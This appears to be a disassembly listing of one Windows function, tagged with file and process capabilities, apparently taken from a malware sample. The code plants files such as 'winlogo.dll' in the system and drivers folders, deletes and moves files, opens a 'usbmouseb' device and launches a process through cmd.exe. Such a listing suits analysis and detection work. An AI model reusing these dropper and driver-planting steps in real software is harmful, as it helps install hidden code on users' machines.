Function at 0x401830
Capabilities:
Create process on windows
Delete file
Get common file path
Move file

Disassembly:
sub esp, 0x8d0
push ebp
push esi
push edi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x4dd]
mov byte [esp + 0x4dc], 0
lea edx, [esp + 0x4dc]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, str.budy.zyxdqdfccq
or ecx, 0xffffffff
xor eax, eax
push 0xff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x100
lea edi, [esp + 0x4e0]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x64]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
lea edx, [esp + 0x60]
push str.SYSTEM
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov edi, str.ABCDEFG
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x460]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0xb
mov eax, ecx
mov esi, edi
mov edi, edx
push 0xb
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00401ba0
mov ebp, dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [esp + 0x68]
push eax
push ecx
lea edx, [esp + 0x70]
push str._s_d
push edx
call ebp
mov edi, str.ABCDEFG1honeey.budy111
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x478]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x278], 0
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
xor eax, eax
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x3f
lea edi, [esp + 0x279]
mov byte [esp + 0x178], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x179]
mov byte [esp + 0x378], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x379]
push 0x404f6c
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x27c]
push ecx
push str._s_s
push edx
stosw word es:[edi], ax
call ebp
lea eax, [esp + 0x88]
push 0x404f7c
push eax
lea ecx, [esp + 0x190]
push str._s_s
push ecx
call ebp
lea edx, [esp + 0x98]
push 0x404f8c
push edx
lea eax, [esp + 0x3a0]
push str._sDRIVERS_s
push eax
call ebp
add esp, 0x48
lea ecx, [esp + 0x260]
push 0x4047dc
push ecx
call fcn.00402ea0
add esp, 8
test eax, eax
je 0x401b38
push ebx
push 0x100
call fcn.00402bb8
push 0x100
mov esi, eax
call fcn.00402bb8
lea edx, [esp + 0x6c]
mov edi, eax
push edx
push str._swinlogo.dll
push esi
call ebp
lea eax, [esp + 0x78]
push eax
push str._sietest.log
push edi
call ebp
mov ebx, dword [sym.imp.KERNEL32.DLL_DeleteFileA]
add esp, 0x20
push esi
call ebx
push edi
call ebx
push 0x4047dc
push str.cmd.exe
lea ecx, [esp + 0x16c]
push edi
push ecx
push esi
call fcn.00402800
mov ebx, dword [sym.imp.KERNEL32.DLL_MoveFileA]
add esp, 0x14
lea edx, [esp + 0x264]
push edx
push esi
call ebx
mov eax, dword [0x404010]
test eax, eax
je 0x401aca
lea eax, [esp + 0x364]
push eax
push edi
call ebx
lea ecx, [esp + 0x364]
lea edx, [esp + 0x164]
push ecx
push edx
call fcn.00401000
add esp, 8
mov ebx, 1
push 0
push 0
push 3
push 0
push 0
push 0
push str..usbmouseb
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
jne 0x401aab
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
inc ebx
cmp ebx, 0x1e
jl 0x401a7f
jmp 0x401ab2
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [esp + 0x364]
lea ecx, [esp + 0x164]
push eax
push ecx
call fcn.00401d10
add esp, 8
push esi
call fcn.00402bcc
push edi
call fcn.00402bcc
mov al, byte [0x404f9c]
add esp, 8
cmp al, 0x41
pop ebx
jne 0x401b38
lea edx, [esp + 0x260]
push 0x4047dc
push edx
lea eax, [esp + 0x4e4]
push str._s__r___s_
push eax
call ebp
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x2c]
add esp, 0x10
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xc]
lea edx, [esp + 0x1c]
push ecx
push edx
push eax
push eax
push eax
push 1
push eax
push eax
lea eax, [esp + 0x4fc]
mov dword [esp + 0x68], 0x101
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
lea ecx, [esp + 0x260]
lea edx, [esp + 0x4dc]
push ecx
push str._s__u
push edx
call ebp
lea eax, [esp + 0x16c]
push eax
push 0x40412c
push 0x404bdc
call ebp
mov ecx, dword [esp + 0x8f8]
lea edx, [esp + 0x4f4]
push ecx
push 0x404f1c
push 0x404ecc
push 0x404eac
push edx
call fcn.00401c20
add esp, 0x2c
mov eax, 1
pop edi
pop esi
pop ebp
add esp, 0x8d0
ret